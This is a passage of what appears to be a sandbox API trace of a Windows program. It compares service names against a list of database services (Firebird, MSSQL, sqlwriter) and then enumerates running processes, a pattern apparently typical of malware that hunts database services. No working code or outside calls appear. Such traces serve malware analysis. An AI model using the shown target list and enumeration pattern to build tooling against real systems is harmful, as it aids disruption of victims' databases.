lpString2="gpsvc") returned 1 [0094.416] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0094.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0094.416] lstrlenW (lpString="iphlpsvc") returned 8 [0094.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0094.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0094.416] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0094.416] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0094.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0094.416] lstrlenW (lpString="KeyIso") returned 6 [0094.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0094.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0094.416] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0094.417] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0094.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0094.417] lstrlenW (lpString="LanmanServer") returned 12 [0094.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0094.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0094.417] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0094.417] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0094.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0094.417] lstrlenW (lpString="LanmanWorkstation") returned 17 [0094.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0094.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0094.417] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0094.417] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0094.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0094.417] lstrlenW (lpString="lfsvc") returned 5 [0094.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0094.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0094.417] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0094.417] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0094.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0094.417] lstrlenW (lpString="lmhosts") returned 7 [0094.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0094.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0094.417] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0094.417] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0094.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0094.417] lstrlenW (lpString="LSM") returned 3 [0094.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0094.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0094.417] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0094.417] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0094.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0094.418] lstrlenW (lpString="MapsBroker") returned 10 [0094.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0094.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0094.418] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0094.418] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0094.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0094.418] lstrlenW (lpString="MpsSvc") returned 6 [0094.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0094.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0094.418] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0094.418] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0094.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0094.418] lstrlenW (lpString="NcbService") returned 10 [0094.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0094.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0094.418] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0094.418] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0094.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0094.418] lstrlenW (lpString="netprofm") returned 8 [0094.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0094.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0094.418] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0094.418] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0094.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0094.418] lstrlenW (lpString="NlaSvc") returned 6 [0094.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0094.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0094.418] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0094.418] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0094.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0094.419] lstrlenW (lpString="nsi") returned 3 [0094.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0094.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0094.419] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0094.419] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0094.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0094.419] lstrlenW (lpString="PcaSvc") returned 6 [0094.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0094.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0094.419] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0094.419] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0094.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0094.419] lstrlenW (lpString="PlugPlay") returned 8 [0094.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0094.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0094.419] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0094.419] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0094.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0094.419] lstrlenW (lpString="Power") returned 5 [0094.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0094.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0094.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0094.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0094.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0094.419] lstrlenW (lpString="ProfSvc") returned 7 [0094.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0094.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0094.419] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0094.419] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0094.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0094.419] lstrlenW (lpString="RpcEptMapper") returned 12 [0094.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0094.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0094.420] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0094.420] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0094.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0094.420] lstrlenW (lpString="RpcSs") returned 5 [0094.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0094.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0094.420] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0094.420] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0094.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0094.420] lstrlenW (lpString="SamSs") returned 5 [0094.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0094.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0094.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0094.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0094.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0094.420] lstrlenW (lpString="Schedule") returned 8 [0094.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0094.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0094.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0094.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0094.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0094.420] lstrlenW (lpString="SecurityHealthService") returned 21 [0094.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0094.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0094.887] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0094.887] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0094.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0094.887] lstrlenW (lpString="SENS") returned 4 [0094.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0094.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0094.887] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0094.887] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0094.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0094.888] lstrlenW (lpString="ShellHWDetection") returned 16 [0094.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0094.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0094.888] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0094.888] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0094.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0094.888] lstrlenW (lpString="Spooler") returned 7 [0094.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0094.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0094.888] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0094.888] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0094.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0094.888] lstrlenW (lpString="SSDPSRV") returned 7 [0094.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0094.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0094.888] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0094.888] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0094.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0094.888] lstrlenW (lpString="StateRepository") returned 15 [0094.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0094.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0094.888] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0094.888] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0094.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0094.888] lstrlenW (lpString="SysMain") returned 7 [0094.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0094.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0094.888] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0094.888] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0094.889] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x36860d0 | out: hHeap=0x440000) returned 1 [0094.889] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x364 [0094.897] Process32FirstW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0094.897] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0094.898] lstrlenW (lpString="System") returned 6 [0094.898] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0094.898] lstrlenW (lpString="smss.exe") returned 8 [0094.898] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0094.899] lstrlenW (lpString="csrss.exe") returned 9 [0094.899] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0094.899] lstrlenW (lpString="wininit.exe") returned 11 [0094.899] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0094.900] lstrlenW (lpString="csrss.exe") returned 9 [0094.900] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0094.900] lstrlenW (lpString="winlogon.exe") returned 12 [0094.900] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0094.901] lstrlenW (lpString="services.exe") returned 12 [0094.901] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0094.901] lstrlenW (lpString="lsass.exe") returned 9 [0094.901] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.902] lstrlenW (lpString="svchost.exe") returned 11 [0094.902] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0094.903] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0094.903] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0094.903] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0094.903] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.904] lstrlenW (lpString="svchost.exe") returned 11 [0094.904] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0094.904] lstrlenW (lpString="dwm.exe") returned 7 [0094.904] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.905] lstrlenW (lpString="svchost.exe") returned 11 [0094.905] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.905] lstrlenW (lpString="svchost.exe") returned 11 [0094.905] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.906] lstrlenW (lpString="svchost.exe") returned 11 [0094.906] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.906] lstrlenW (lpString="svchost.exe") returned 11 [0094.906] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.907] lstrlenW (lpString="svchost.exe") returned 11 [0094.907] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.907] lstrlenW (lpString="svchost.exe") returned 11 [0094.907] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.908] lstrlenW (lpString="svchost.exe") returned 11 [0094.908] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.908] lstrlenW (lpString="svchost.exe") returned 11 [0094.908] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.909] lstrlenW (lpString="svchost.exe") returned 11 [0094.909] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0094.909] lstrlenW (lpString="spoolsv.exe") returned 11 [0094.909] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.910] lstrlenW (lpString="svchost.exe") returned 11 [0094.910] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.910] lstrlenW (lpString="svchost.exe") returned 11 [0094.910] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0094.911] lstrlenW (lpString="audiodg.exe") returned 11 [0094.911] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0094.911] lstrlenW (lpString="sihost.exe") returned 10 [0094.911] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.912] lstrlenW (lpString="svchost.exe") returned 11 [0094.912] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0094.912] lstrlenW (lpString="taskhostw.exe") returned 13 [0094.912] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0094.913] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0094.913] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0094.913] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0094.913] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0094.914] lstrlenW (lpString="explorer.exe") returned 12 [0094.914] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0094.915] lstrlenW (lpString="Memory Compression") returned 18 [0094.915] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0094.915] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0094.915] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, 